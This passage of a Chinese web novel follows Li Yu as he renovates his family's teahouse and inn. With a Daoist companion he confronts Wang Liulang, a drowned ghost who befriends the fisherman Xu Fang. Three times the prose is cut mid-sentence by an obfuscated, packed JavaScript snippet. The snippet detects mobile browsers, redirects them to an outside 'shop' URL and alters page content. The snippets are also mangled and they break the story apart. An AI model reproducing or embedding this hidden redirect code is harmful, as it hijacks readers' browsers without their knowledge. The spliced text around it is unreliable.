“咱们茶楼本就有两层,那么一楼可以接待平民百姓、行脚商人,在门口挂上写着“茶”字的通天幌子,其上再书免费蓄水,就为个醒目。如您所说,他们喝茶只为解渴并非品茶,我们只需供些收费低的散茶,茶具也用普通的陶器即可,来来往往咱们只求个薄利多销和人气就行。” 李化边听边想,点头道:“好。” 李钰喝了口茶接着说:“然后就是二楼,就针对那些文人或者要求高一些的人群。我们在二楼或悬上竹帘或用紫竹屏风隔断,分出数个雅间出来,中间再加上若干盆景隔断,既自然美观又彼此留有隐私。可以提供一些煮茶的茶具和精致的糕点,供这些人边煮茶、边用糕点、边清谈。” 李化摸着胡子思量,“这倒不是不行,可楼下都是市井俗人定然闹哄哄的,你说那些文人雅士会来吗?” “这个自然就要说到咱们这招牌的问题了,以后我们这茶楼就换一个名字。”李钰狡黠一笑,“就叫——结庐茶楼。” “何谓结庐啊?” “这是取自陶渊明的‘结庐在人境,而无车马喧’①。我们这茶楼既然已经在这市井之中,就要反其道而行之,要的就是这个闹中取静!虽然身处尘世却能心灵超然,这才是文人名士追求的最高境界,但凡是胸有文墨之人看到这招牌,就一定能理解其中之意。” 读书人的面子,可不是靠金银装点的,也并非只以功名论高低,而是境界。要想表现自己在闹市中也能悠然自得、心境超然,他们必定愿意来光顾。 李化闻言连连点头,深觉此招巧妙。 而李钰还没说完,“到时候我们可以找叶先生帮忙给招牌题字,以他在本地的名气也可算是一枚活招牌了。” “哎呀呀,我儿真真是个天才,你还说你不是读书那块料,你看看如今懂得比你老爹还多!”李化越想越妙,激动不已,更是觉得自家儿子优秀得没边了。 李钰心道不好,真是说多错多,赶忙补救:“其实这是我多日来四处观察,同时还私下请教了叶先生才想出来的,不然您以为我就读这么几个月的书,就能懂这么多了?” 李化脸上笑容不减,仍是一脸激赏,“就算不是读书的料,那也是经商的奇才!不愧为我儿,这脑子好了后可不就大放异彩了。” 见李化没在这个问题上多作纠结,李钰松了一口气。 茶楼的问题初步章程定好了,李化又问:“那咱们茶楼这么改了,这客栈是不是也得改改?” 李钰点点头,指了指对门的客栈,“您说对了,还是同样的问题,那就是一看就太贵。虽说出门在外谁不想休息得好一点,但凡稍微有点路资的,也是愿意在住宿上面多花些银钱的,只是这样资费充足的商人又有多少?更何况许多出来奔波的好些还不是东家,而是些管事小厮,尤其是在外时长的,哪有那等魄力一看客栈华贵就进来消费的?如此,更不提普通行商了。” 李化大手一挥,“改!这一个月咱就动手改了。我去找工匠,这监工之事就全权交给你办了。不用怕心疼钱,只要这次改好了,咱们往后赚回来就成了。” “您就放心吧,肯定不会有之前花得多。”李钰爽快答应,得意地摇了摇折扇。 李老爷子人逢喜事精神爽,满面红光,他站起来欣慰地拍拍儿子的肩,笑着说:“走,咱们先回家,我得好好跟你娘说说咱们儿子如今的长进。” “不好吧爹,还是容我做出真正的效果了再说吧。”李钰假作谦虚。 “诶,爹相信你,你可是我儿子。”李化说得掷地有声。 这种无条件的信任让李钰心头一暖,他也站起来扶着老父亲说:“行,咱们回家吧。” 确定了接下来的改造方案,李老爷子很快就找好了工匠,马不停蹄地关门重装。这些天李钰也越发的忙了,叶先生那边的课程不能落下,同时还要日日来监工,还好茶楼和客栈都在一个地方。 早晨,李钰刚出房门就遇到了白道长,蓦然想起,最近确实太忙了,都忘了好好和白道长拉拢关系! 白行野问:“你这是要去哪儿?” “这不最近我爹给的任务,我家茶楼和客栈重新装潢,每天都要去监工,忙得都没好好招待白兄。要不今日你也跟我一起去,等我去看一眼,我们就出去逛逛。” “好啊。”白行野还是那般爽快地就答应了,可能他也憋久了,李钰更感歉意。 “白兄,你今日没穿道袍啊?” 就说今日白行野好像有哪里不一样,这停下来一看才发现,他穿了一身素衣白衫,颇有些仙气飘飘的感觉。他记得白行野好像没有带什么行李吧,衣服哪儿来的? 不过这白道长长得真是带劲,这么素一身都如此丰神如玉,一会儿出去干脆再带他去买些成衣好了。 李钰这样打算着,两人一起出了门。一路上李钰将他如何提议改造茶楼和客栈,他爹又是如何的满意并全权委以他大任的事,绘声绘色地讲给白行野听。 他自是存着自夸之意,可白行野似乎并未如李钰想的那般,称赞他是如何地观察入微,又是如何的心思玲珑,只是随意地说了一句,“原来你还有这等才能。” 听起来就像是应付一般。李钰腹诽,这白行野可真是一点人情世故都不懂啊。罢了,毕竟是久居深山的道士,自己还是别要求太多了。 到了地方,李钰装模作样地这看看那摸摸,时不时跟工头说几句话,提提要求。白行野看他很认真的样子,似乎在想着什么。 李钰余光瞟到自己在被盯着看,便更加认真的提出自己的建议,谁不想在他人面前显出自己的优秀呢?更何况他以前在人们眼中还是个傻子。直到说到口干舌燥,他接过小厮端来的茶水喝了一大口,走到白行野身边说:“今天就看完了,咱们去别的地方玩吧。” 白行野却没头没尾地来了一句,“你好像很在意你家的产业?” 李钰一怔,这是问的什么话?他反问道:“这是我家的生意能不在意吗?更何况你别看我爹天天乐呵呵的样子,实际为了茶楼、客栈的生意愁得不行,还一直不在我们面前说,我现在能替他分担,多好的事!” 白行野略微紧绷的脸一下放松了,点点头道:“原来是这样。” 李钰也习惯了白行野让人捉摸不透的说话模式,不在意道:“走吧,咱们出去逛逛。” “好。” 刚到门口,李钰就瞧见一个熟人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101331|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那人牵着驴车,车上放着两个大竹筐。 李钰招呼他,“许大哥,这是又捕到大鱼啦。” 叫许方的这个中年男人是个渔夫,经常是夜里捕鱼,白日拿到市场卖。 听客栈小二说这人不知走了什么大运,这小半年老是捕到个头很大的鱼,这种鱼平常人家买不了,他便经常到这条街上的酒楼食肆或者客栈问收不收。 李钰只要当天出门早,在这条街上总能遇到许方,闲聊过几次,是个老实憨厚的人。 许方瞅了眼客栈说:“李公子,你家这客栈是……” “哦,现在正在重装呢,最近不做生意,你可能得问问别家了。都施工好几天了,你最近没来?” 许方脸上也不见失望,老实答道:“前两天陪媳妇回了趟娘家给岳丈祝寿,在那边多呆了几天。”他拍拍鱼框,“你看,昨天回来我就捕鱼去了。” “这么爱夜钓?”李钰打趣道。 “这不是得过日子吗?而且我就夜渔收获才多。” “这是有诀窍啊。” 许方笑笑没应,李钰也不多问,只跟许方说让他等一个月再来应该就差不多了。 许方客气地谢过他,牵着驴车又走了。 李钰转头跟白行野说:“你说这人也奇怪,别人捕鱼也是看天吃饭,就这许方回回都能捕到大鱼!可能真有什么绝招,真是行行出状元。” 白行野没回话,可他的目光却一直落在渐行渐远的中年渔夫身上。 “怎么啦?”李钰问道。 白行野收回目光,淡淡道:“他身上有鬼气。” “啊?!”李钰惊呼,又立刻压低了声音,“你没看错吧?你看他这般身强力壮天天夜渔,白日里还能精神抖擞地拉着驴到处走,不像是被鬼吸过精气的呀。” 白行野摇摇头,“我怎么可能看错,他虽然没有被吸过精气,但是也粘染上的鬼气。不只是他,你们一家不也都是一样,长期和鬼生活在一起多多少少都会沾染上一点。或许他也跟你一样,身边的鬼是詹贵儿那样的好鬼。” 李钰一听炸了,这时候哪里还管许方身边的是不是好鬼,他忙问:“我们全家身上都有鬼气,你怎么不早说?” 白行野毫不在意地说:“这也不妨事,你们身上这点鬼气,白天出门多走动走动,晒晒太阳自行就去了。” “可是……”李钰尤其想到家里女眷还是有些担心,“那鬼气不会影响什么吧?” 白行野脸沉下来,“若真有问题,我当然一早就告诉你们了,只要不是鬼主动吸取人的精气,或与鬼亲密接触过,只会沾染上丝丝缕缕的鬼气,就像你平日出门在外沾染上灰尘一样。除非本就是八字极轻之人,才会连这点鬼气都承受不了,一般情况自身的阳气都足以消解。” 听了这话,李钰心下稍安,见白行野脸色不好看,连忙道歉:“这不是想到家里人关心则乱吗?绝无质疑白兄之意,还望白兄谅解。” 白行野的面色这才缓和,“你倒是一片孝心。” 李钰将此事抛诸脑后,道:“走走,我带你去我家布庄看看。” 等两人到了李氏布庄,李钰便大方让白行野挑自己喜欢的布料。 白行野奇怪道:“做什么?” “给你做衣服啊,你看你只有道袍和白衫,太素了,平日里也不好换洗。”李钰眨了眨眼,“就算你还有衣服,我也想给你买点新衣,就当是我送你的礼物。” “……礼物吗?”白行野喃喃道。 8. 王六郎(一) “礼物?” “对啊,朋友之间送礼不是很正常吗?” 白行野沉默一瞬,才缓缓道:“好吧。” 见他不抗拒,李钰交代掌柜的给白行野量尺寸。掌柜把裁缝叫过来,李家布庄没有成衣但有裁缝,负责给李家人做衣服,如今不年不节的裁缝正闲着,在布庄给掌柜的打打下手。李钰估摸着,快的话几天就能做好一套吧? 只见裁缝拿起裁衣尺就要上前给白行野量身,他却眉头一皱,后退了一步。 裁缝的手尴尬地停在半空,错愕地看向李钰,李钰手肘拐了白行野一下,凑近他低声道:“你干嘛?不量身怎么给你做衣服。” “哦……”白行野答得不情不愿,这才让裁缝近身。 李钰摇摇头,白道长是挺厉害,可这从小就在深山里修行的人,一朝行走在俗世间,除了吃喝真是处处透着不适应。 裁缝量好以后,李钰又帮着白行野选布料,一会儿给他推荐这个布料,一会儿跟他说那个颜色好。 白行野无奈地说:“你看着选吧,我也不懂这些。” 李钰从善如流地挑了几匹不同颜色,摸起来柔滑的好料子。 等一切搞定已经中午了,两人去了城里有名的满福食肆吃饭。李钰之前和丁再昌来吃过两次,说实话味道比他们家客栈要好一些,尤其是擅长做鱼。他做主点了莼菜鲈鱼羹和松鼠鳜鱼,又点了两道别的。 等上菜后,白行野难得做出了点评,“这个松鼠鳜鱼名字奇怪,但是味道还不错。” “是吧,他们家做鱼还真有一手,我也爱吃这个!”李钰边夸边再伸出筷子,定睛一看,这松鼠鳜鱼只剩鱼尾那一小簇了,他放下筷子看白行野吃得正欢,有些无奈地问:“要不再上一盘?” 白行野少见地客气道:“不用了吧,还有其他菜呢?” 李钰顿了一下,还是招来了小二,再要了一份松鼠鳜鱼。 这会儿吃着鱼,他就又想起了今天遇到许大哥。按白行野的说法是,许大哥遇到的那个鬼并没有害过他,可是白行野之前不也说过,现在没有害人不代表以后也不会害人。 李钰咬着筷子,这事儿始终在他心里过不去,他若是不知道就算了,但是知道了,怎么都还是想确认一下……算了,就当他多管闲事吧。 何况他身边不还有白行野吗?他好吃好喝好穿地供着白道长,让他去试试那个鬼总行吧? 于是李钰道:“白兄,你还记得今天那个卖鱼的吗?” “怎么了?” 李钰有些不好意思地说:“我这不是老想着这事吗?我还是有点担心,你看咱们能不能去看看那鬼,确认一下对方有没有恶意?听说许大哥家里就他和他媳妇两口人,你想啊,万一他出什么事他媳妇以后怎么过活?” 白行野觉得好笑,“你管他媳妇如何呢。” “可别这么曲解我啊!我知道跟我没啥关系,可毕竟认识,何况许大哥是个忠厚老实的人,我们明知对方遇鬼如何能坐视不管?就像你们修行之人说的,救人一命胜造七级浮屠……” “那是佛家。”白行野打断道。 “差不多,差不多。” 白行野道:“也不是不可以,听你所言他夜渔收获总是比别人多,或许他这个异常就出在那个鬼身上。” “你说得对,事出反常必有妖,我回去就让人去打听下他夜渔的位置,我们再去蹲守看看!”李钰眼睛一亮,一副跃跃欲试的样子。 白行野忽然觉得李钰那双亮晶晶的大眼睛还挺漂亮的。 这时,又一盘松鼠鳜鱼被端上来了,白行野收回目光,道:“先吃饭吧。” 暂且结束了这个话题。 半年前的一天,东河村的渔夫许方如往常一样天黑了才出门。他一手提着钓竿,一手提着鱼筐,背上背着鱼网,这些可都是他吃饭的家伙。 来到大宁河边,许方点上火堆,撒下鱼网,在一旁支起了钓竿,便坐到河边大石头上。他望向远处,也有两三点火光,都是同他一样的渔夫。但是大家离得远又要守着钓竿,一般情况下,并不会互相走动,因此这漫漫长夜并不好度过。许方取下腰间别着的酒葫芦,这是他度过长夜寒冷和孤寂的必备之物,每晚喝点娘子酿的水酒,虽不够辛辣,但时不时来上一口也能提神。 如往日般,他先将酒倒入粗陶碗中,恭敬地洒酒入水,口中念念有词,“河中溺鬼请饮之。” 娘子曾听他说起此事笑他愚昧,他也就笑笑不当回事。娘子不知道这夜里除了河风飒飒、流水潺潺的声音,周围静得吓人,却总是不知何处突兀地传来几声尖锐鸟叫,或突如其来鱼跃于河面,常让人心惊。他这样做也不过是安慰自己内心深处的那一丝恐惧,若真有溺死鬼,也望他们喝了酒就别害自己了吧。可这种丢男人脸面的话,他可不会告诉娘子,权装作是个虔诚人罢了。 可还真别说,许方如此行事确实感觉心安些许,仿佛自行和河中水鬼达成某种约定般。 点燃的火堆火光跳动,他举起酒葫芦抿了一口,静静等着鱼儿入网,希望今晚能有好收获。 可老天爷像是跟他对着干似的,不让人轻易如意。一个时辰过去,那钓竿真是半点动静没有,许方摇摇头,心烦地又闷了一口酒。就这仰头喝酒的功夫,余光闪过一个白影,许方警惕地转头去看。 就在几丈开外,不知何时来了个白衣人,在河边缓慢踱着步,看上去像个青年书生。那青年看着瘦弱,也没有打扰他的意思,不似什么歹人。 许方就这么看着他走了一会儿,心犯嘀咕,这不是有什么事想不开吧? “哎,小伙子,要不要过来烤烤火,喝点酒啊?”许方大声招呼他。 话音刚落,那个青年便停住了脚步,向许方这儿走了过来。火光一照,这青年面容俊秀,一脸和气,许方更加肯定了这不是什么坏人。 青年向他拱手行礼道:“多谢大哥,那鄙人便叨扰了。”说完便自行坐下了。 许方也喜欢爽快人,将粗陶碗递给他,为他倒上酒,两人先干了一杯。 许方道:“鄙姓许,单名一个方字。小兄弟如何称呼?” “小弟,王六郎。” “这么晚了,你又不和我一样是个渔夫,怎么还来这河边走动?”许方问出自己的疑惑。 “……盖因我常常夜不得眠,便总是夜里出来走走。” 许方作了然状,“确实曾听闻有的人夜晚无法安睡,不像我夜里想睡都不行,还得出来做捕鱼的营生。” “许大哥为何在夜里出来捕鱼?夜里孤寂又看不清。”王六郎问。 “夜渔的时间是寂寞,可六郎你有所不知,这鱼儿晚上最为活跃。尤其是等到夏日,白日日头正晒,就是人都不想来河边受烤,鱼儿更不会游到靠近水面的地方了,都是晚上才游上来。”许方向他解释道,“就是这样,夜渔往往比白天捕鱼收获更多。这项技能和传统就在我们村里渔户家,世世代代的传下来了……” 说到自己的专业领域,许方滔滔不绝起来,而王六郎竟是个善听之人,从许方细数自己近 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101332|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来捕鱼成果,讲到往日夜渔时遇到的一些怪事,王六郎都听得津津有味,时而频频点头,时而提问几句,两人有来有往,聊得颇为投缘。 一时开心,许方说会儿话就要劝王六郎饮酒,王六郎长得斯文,饮酒倒是豪迈,不作推辞。一夜将尽,两人都相见恨晚,互引为至交好友,约定好明晚再相聚。 这时候许方才抬了抬自己的钓竿,又将鱼网拽了一下,一试手感便知,今晚收获平平,不由叹了一口气。 “许大哥为何事忧愁?”王六郎问道。 许方不自然地笑了一下,“没什么大事,就是今晚又没什么收获。” 王六郎笑道:“这有何难?许大哥且等片刻,让我去上游为你赶鱼下来,就当答谢许大哥的好酒了。” 许方神色一变,阻止道:“这怎么行?夜里下河多危险啊?就算你会凫水,受了寒气也不好。” “许大哥不用担心,鄙人虽不才,但水性极好,且我看着瘦却从不生病。你安心等候,我去去就回。” 许方还要劝阻,王六郎却倔起来,径直跑了,许方只得在原地等候。 正是等到焦躁不安之时,钓杆竟然真的动了!他忙起竿收线,这个重量定是条大鱼!看来王六郎真没骗人,他确实有这般好的水性。 许方心情大好,将那鱼儿拽上岸一看,是一条十一二斤重的大花鲢!大鱼上岸扑腾个不停,许方费力将它装进鱼框。他又用手拽了拽鱼网,这一拽明显感觉与刚才不同,心里对王六郎不胜感激,今日他可真是碰上贵人了。 没多久,王六郎回来了。 许方忙拉他坐下,“快烤烤火,这河风一吹可别感染风邪。” 说完才发现王六郎衣服未湿,王六郎笑着称:“无妨,我下河前将衣物放在岸边干草堆上的。” 许方兴奋地将方才的战果告诉他,王六郎显然也很高兴地说道:“能帮到许大哥,我也心满意足了。” 听他这般说,许方感慨,这六郎年纪不大,倒是个性情纯直之人。 又坐了一会儿,王六郎才起身道别。许方收回鱼网,新鲜的鱼儿各式各样,大小都有,直接装了满满一鱼筐,那钓上来的大花鲢就塞不下了,他只能拿根草绳拴着,背在背上走回去。 回去的路上,遇到同样夜渔回家的渔夫们都惊异非常。 “哎哟老许,昨晚你居然捕了这么多鱼,烧高香了吧?” 许方没有理会对方话语中潜藏的酸气,笑着回他,“运气罢了。” 回到家,妻子已将早饭做好了,许方久违的这个时辰还精神奕奕,匆匆扒完饭就马不停蹄地赶去集市卖鱼。 从那天起,许方每晚便带两壶酒,王六郎也夜夜赴约,两人谈天说地,互相作伴,一夜将过时,王六郎总会下河帮他赶鱼。许方心疼朋友每天都要下水,但王六郎在此事上固执非常,他劝阻无果。久了后发现,这六郎除了人瘦弱了一点,身体真还不错,总是精神抖擞,夜夜下水也不见生病,许方也就顺着他了。 于是,许方总是能收获比别人更多的鱼,他咬咬牙买了头驴,找村里木匠做了个板车套上,每天早上将鱼运到城里去卖,他的鱼新鲜,总能卖上些好价钱。中午再回家吃饭,倒头睡到晚上,日子虽辛苦,但也一天天好过起来了。 同村渔夫看不过去,会来抢他的捕鱼点,他也从不与人争执。大不了换一个地方,本来就是因为沾了六郎的光,可不是一个位置的缘故。 而夜里王六郎也总能找到他,他俩还总是笑说,这是朋友之间的默契。 9. 王六郎(二) 许家娘子张氏听闻了王六郎的事,知道了自家的鱼是从何而来的,也不怨丈夫每晚都带两壶酒出门,还时不时还让他带点花生米或者小菜去下酒。只是王六郎有个怪癖,就只喝酒不吃菜,后来许方自己也懒得带了,他俩都是爽快人,聊得开心比什么小菜都好下酒。 就这样过了小半年,这日许方正准备出门,妻子亲自拿着两个酒葫芦上前,唇角弯弯柔声道:“这是今日我特意去买的好酒,偶尔也给你和六郎换换口味,人家六郎帮了咱们这么多,总是喝咱们自酿的水酒,多不好意思。” “娘子哪里的话?六郎岂是如此见外之人。”许方接过酒葫芦笑道,“不过换换口味也不错,多谢娘子了。” 许氏嗔怪道:“两口子说这些话,还是得谢你呀,真是交了一个好朋友。” 许方心里认同,告别娘子后便提上酒踏着夜色出发了。 到地方没多久,王六郎就来了。许方拿出酒热情道:“今日可是好酒,这是你嫂子特意去买的。” 王六郎尝了一口,赞道:“果然好酒,多谢大嫂美意。” “你嫂子总说想请你去家里吃饭,好谢谢你,说多少次了,你就是不愿意去,你我兄弟二人还如此见外。”许方抱怨道。 “绝不是见外,只是……我确实有难言之隐。”王六郎说着不由叹气。 许方也习惯他这么说了,也不知道到底是什么事,六郎一直不愿细说。他摆摆手,“罢了罢了,我也不逼你,你若何时想说了再说吧,如今我们能每晚河边对饮已是乐事一桩。” 王六郎笑着称是,但眉间仍有一丝不易察觉的烦忧。 酒快喝完之时,王六郎一如既往地去上游赶鱼,到了上游河道的芦苇丛,他正要下河,忽然有种被人注视的感觉。 “谁在那里?!” 芦苇丛中传来窸窸窣窣的声音,很快走出两名男子,皆是芝兰玉树,正是李钰和白行野。 “原来是这河中的水鬼。”白行野一张嘴便道出王六郎真身。 王六郎神色警惕,“你……你们是何人?想做什么?” 白行野冷然道:“我倒是想要问问你,人鬼殊途,你夜夜缠着许方有何目的?” 王六郎见对方神情不善,语气中也带了火气:“与你何干!既然知道我是水鬼,这条河可是我的地盘,你们还想找我的麻烦不成?” 在他说话之时,就见他一张脸渐渐变得青白浮肿,身上冒出寒气逼人的水汽,滴滴嗒嗒地顺着衣服落在地上,沒进土里。 “白行野他变身了!”李钰惊叫一声,立刻躲到白行野身后。 白行野失笑了一瞬,忙控制住表情,厉声对王六郎道:“可笑,在我面前还敢说水里是你的地盘?那便试试你有何本事!” 说罢便飞身抓向王六郎,王六郎就在岸边,他急退而去径直遁入水中,白行野丝毫不惧,跟着追到水里去了。 “这就都入水了?!”李钰在岸边急得跺脚,他是想让白行野来试试这个鬼,可没想到二人直接去水里打了,他在岸上什么都看不到,只见着河面猛地翻江倒海起来。 李钰往后退了几步,差点被浪打到身上。 “哥哥,要不我下去看看?”詹贵儿从他身后探出头来。 “你一个小孩儿去干什么?万一那水鬼打到你了。” 詹贵儿嘟着嘴说:“怎么会?那是因为你不知道道长哥哥有多厉害,那水鬼绝不是他的对手。” 李钰轻敲了下詹贵儿的头,“那也不行,别去影响白道长。而且你不是说你是来保护我的吗?那就好好呆在我身边。” 詹贵儿撇撇嘴不说了,也紧盯着翻滚的河面。 李钰摇摇头,这小鬼今日听说他和白行野要来试探某鬼,软磨硬泡也要来,说是要守在李钰身边护卫。说得好听,实际就是想来看热闹。 不多时,水面浪花翻滚更甚,忽然,两个身影破水而出,白行野提着王六郎的后颈,将其扔到岸上。 “说吧,你接近那渔夫有何目的?” 王六郎不答话,却看向詹贵儿,冷笑道:“你们自己不也与鬼混在一起。” 李钰这护犊子的心就压不住了,道:“这小鬼是我小弟,来到我家后就从未害过人。” 王六郎愤怒道:“我又何曾害过人,你们凭什么抓我?” 李钰不知真假,但被王六郎双目直视,有些心虚地问:“那那……那你为何要缠着许方?” 王六郎目光透着悲凉,“若是你在这水底孤孤单单的呆上几十年,好不容易有人愿意陪你说话解闷,把你当成至交好友,你又如何?你觉得我对着这样来之不易的朋友,会做出伤害他的事情吗?” 这倒有些意外,李钰又问:“真是如此?那他知道你是鬼吗?” 此话一出,王六郎眼神更加悲戚了,“我也想告知他,可只怕说出口朋友也做不成了。” “哎呀,也是个可怜人啊。”詹贵儿一副老气横秋的样子感叹道。 “我真心以你为友,又怎会在意你是人是鬼?”一道男声忽然插入。 因为方才河面掀起的波涛还未完全平息,波浪拍打岸边的声音掩盖了芦苇丛的动静,李钰这才注意到,许方不知何时找了过来。他瞬间感觉有些尴尬,可看白行野的神色似乎早已察觉,倒是王六郎陷入情绪之中,此时也如李钰一般惊诧。 许方将王六郎扶起来,叹道:“我早知你来历不一般,但却未曾想过你竟早已不是世间人。你我相交半年,推心置腹如骨肉兄弟,我是如何的性情难道你还不知道吗?我怎会因为你是鬼而不认你这个朋友?” 王六郎闻言,泪水滚落,“是我思虑太重,一开始因你每夜向河中祭酒,我才想着与你相交,我是真心引你为友,绝无害人之意呀。” 许方忙说:“我明白,你每夜为我赶鱼,除了友情还有恩情,我怎会觉得你是那害人之鬼?” 多管闲事的李钰更为尴尬了,他轻咳一声打断两位好友互诉衷肠,“额,不好意思,是我之前遇到许大哥的时候,白道长看出他身上沾染鬼气,这才有些担心。此次来,也只是想试一试你有无歹意,并不是真的想对你做些什么。是我小人之心度君子之腹了,还请二位见谅。”话罢,李钰拱手躬身致歉。 许方老实惯了,但是这会儿也有一点生气了,“李少爷,我可以向你保证,就算我这友人是鬼,但也是个好鬼,绝不会害我的。” 李钰忙说:“我们现在明白了,方才真的只是想试探一下,你看我身边这小孩也是个好鬼,我们也真没有害鬼之心啊。” “许大哥他们说的是真的,我们虽打了一架,但这位……道长修为高出我许多,却没有真的伤到我。”王六郎也劝道。 许方脸色缓和下来,又想到李钰也是出于好心,担心自己的安危,便不好再多责备,只得道:“原来是一场误会。”他又看向李钰身边的小孩,眼神中流露出不忍,“这么小的年纪,他这是……哎,可惜。” “可不是吗?”李钰和许方两个都有着鬼友的人,仿佛忽然打开了话匣子,聊起彼此认识鬼友的经过来。 王六郎看着两人忍不住笑了,“二位不如回火堆那边坐着聊。” 李钰马上答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101333|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来,他又悄悄跟白行野说:“你还记得那个种梨假道士吗?” “自然记得。” 李钰:“他那招隔空取物的术法你会吗?能不能从我们家酒窖拿坛好酒出来,咱们跟许大哥他们喝几杯就当道歉了。” “这有何难?”白行野手一伸,手中立时就多了一坛酒,另一只手还多了四个酒杯。 李钰接过酒,冲他竖大拇指,赞道:“厉害!” 白行野学了学他的手势,也对着李钰比了个大拇指。 两人相视一笑。 三人俩鬼到火堆旁坐了下来,李钰亲自倒酒,再次向王六郎和许方道歉,他这般客气,两人如何还能计较?纷纷爽快地干杯。 王六郎还称赞道:“白道长,真是好深的修为,我也在这河中呆了六十年了,也算是个老鬼了,相比之下竟是毫无还手之力。” 李钰美滋滋地听着,一脸的与有荣焉。詹贵儿凑过来闻了闻他杯中的酒气,被李钰敲了下脑袋,“小孩子家家的,还想学喝酒啊!” 看着小孩吃憋的样子,大家都笑了,一时气氛轻松,一点不像刚打过架的样子。 许方笑着抱怨道:“六郎啊,你怎么不早跟我表明身份?也真是小看你许大哥了。” “是我的错,望大哥不要怪罪。”王六郎立刻举杯赔罪。 李钰好奇地问:“六郎你说你在这河里呆了六十年,为何不去投胎呢?” 王六郎叹了口气,他说:“这溺死之人,灵魂困于河中,本是阳寿未尽却横死,乃是前世业报所致。要在这身死之地待足原本阳寿剩下的时日,消掉或前世或生前的业障,才能再入轮回,劫期一到,那时自有其他应劫的落水之人相替,解放我魂魄之束缚。” 李钰奇道:“这就是所谓的找替身?” “找?非也。”王六郎耐心解释,“并非找替身,如我一般是因某世业报,今生有此劫数,我接替了我之前那一轮的水鬼,之后也有人因同样的命数来接替我。” “这世上真有命数?”李钰奇道。 “若非命数,我为何会受困于此,遭受数十年的阴冷和孤寂呢?”王六郎如此说。 李钰没有回话,他觉得六郎这样说更像是为自己年少早逝找了一个合理的理由,以此说服自己内心的不甘。不过李钰自己有幸死后并未化作鬼,也未入轮回,而是借尸还魂到了另一个世界,那这又算什么?这难道也是命数吗? 在李钰陷入思索之时,王六郎又说:“说到找替身,当然也有一些不怀好意的水鬼,想要提前脱离苦海,或变作艳鬼或化为引路鱼,引诱无辜之人落水作为其替身,以此提前获得解脱。不过,我想这般行事,业力大概也只会越积越多。” “我也听过。”许方接话道,“村里老人常说那种靠岸漂着的鱼捡不得,一伸手就漂远一点,再下水去捞,又漂远去。就这么的,明明近在咫尺却总差一点,一步步地将人引到水深处。” 李钰听得汗毛倒竖,搓了搓手臂。 王六郎点头道:“人心之险恶,化作鬼以后也是如此,我不愿做这等事,便只能苦苦等候劫期度完。可总有些鬼是耐不住这痛苦的,你们回去后定要多多叮嘱家里人不要到河边玩,尤其是孩子。” “六十年还能保持本心,六郎确实不易呀。”许方感慨。 李钰认同点头,又举起酒杯道:“今日能结交六郎这般人品的朋友,也是一大幸事,再敬你一杯。” 王六郎笑着回敬。 这时一直未发言的白行野忽然问道:“已经过去一甲子了,那想必六郎你的劫期也将度完了吧?” 10. 重新开业 王六郎闻言意外的并无开心之色,或许也是因为他的解脱便代表着会有另一人丧命的关系,他缓缓道:“若到了那一日,我会有感应,恐怕像这样与大家共饮畅谈的日子并不长久了。” 许方倒是脸上带笑,“只要你能脱离苦海重入轮回就好,我们今朝有酒今朝醉。只要我不忘记,你我相交的情谊就在。” 王六郎眼底似有水光,重重点了点头。 面对此情此景,李钰心绪复杂,等所谓的劫期一到,还是有人会坠河而死才能替换王六郎,就如当初横死的六郎一般。他自然是并无谴责六郎之意,遭遇横死已经不幸,还忍受了六十年的灵魂禁锢,他也希望王六郎能早得解脱。只是他不明白,这是哪般的天道命数,非得要人去死? 发现气氛一时沉寂下来,李钰转移话题道:“对了,还没问过六郎,你当初是如何坠河的?” 王六郎回忆起久远的往事,喝了一口酒摇头道:“我曾经好交友好嗜酒,当初乃是因醉酒后坠河而亡的。” 另外四人:“……” 那天之后,李钰因认识新朋友的新鲜感,又拉上白行野夜里去了河边几次。几人倒是相谈甚欢,可就是这熬夜的滋味,不是人人都受得了的,况且李钰白日里还有事要忙,后来便去得少了。 不过想到王六郎或许呆不了多久了,以后还不知道能见几次面,便时不时在许方来城里的时候,让他给带点好酒去。 而经过李钰用心改造、日日监工的结庐茶楼和广源客栈,这两天终于重新开张了。 客栈因为现在的装潢风格既接地气又不失舒适,普通行商行至此处也更愿意入住。再加上李化用他的人脉将客栈开业的消息在外地商人间传播,渐渐的入住的客人就多了起来。 而茶楼这边更是大变样,从内到外改得更为彻底。茶楼重新开业后,半点没有当初的样子,没了金漆朱梁的劝退,又因着他们这条街道本就热闹,往来布衣百姓众多,路过茶楼茶寮喝口茶歇歇脚乃是常事,虽是过客匆匆,也总算能赚点薄利了。 